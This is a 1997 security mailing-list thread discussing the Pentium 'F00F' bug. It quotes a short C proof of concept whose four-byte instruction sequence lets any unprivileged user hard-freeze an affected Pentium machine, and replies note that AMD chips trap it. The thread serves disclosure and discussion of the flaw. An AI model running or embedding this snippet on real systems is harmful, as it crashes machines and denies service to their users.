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Date: Mon, 10 Nov 1997 12:37:01 -0800 (PST)
From: Dave Babler <root@Rigel.orionsys.com>
To: "Alejandro Vázquez C." <alexv@sui.gda.itesm.mx>
cc: freebsd-security@FreeBSD.ORG
Subject: Re: FW: [linux-security] pentium bug makes security under linux impo
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On Mon, 10 Nov 1997, Alejandro Vázquez C. wrote:

> 
> 
> Graphic Rezidew wrote:
> 
> > > There is a SERIOUS bug in all pentium CPUs. The following
> > > code will crash any machine running on a pentium CPU, MMX or no
> > > MMX, any speed, regardless of OS (crash as in instant seize, hard
> > > reboot the only cure):
> > >
> > > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
> > >
> > > main ()
> > > {
> > >        void (*f)() = x;
> > >        f();
> > > }
> > >
> > > This require no special permissions to run, it works fine with
> > > average-joe-userspace permissions. I have verified this, it works.
> > > Demand a new CPU from Intel.
> 
> If I had someone, I would. But I have an AMD K5 and detects perfectly the illegal
> instruction. It seems that it only happens with Intel's Pentium (I have NOT tested
> with AMD K6, neigther Cyrix's Pentium class CPUs).
> 

If it *did* crash non-Intel parts, Intel would probably have cause to sue
<G> since it is a mask error, apparently. Take a peek at
http://www.x86.org for more on the "F00F bug".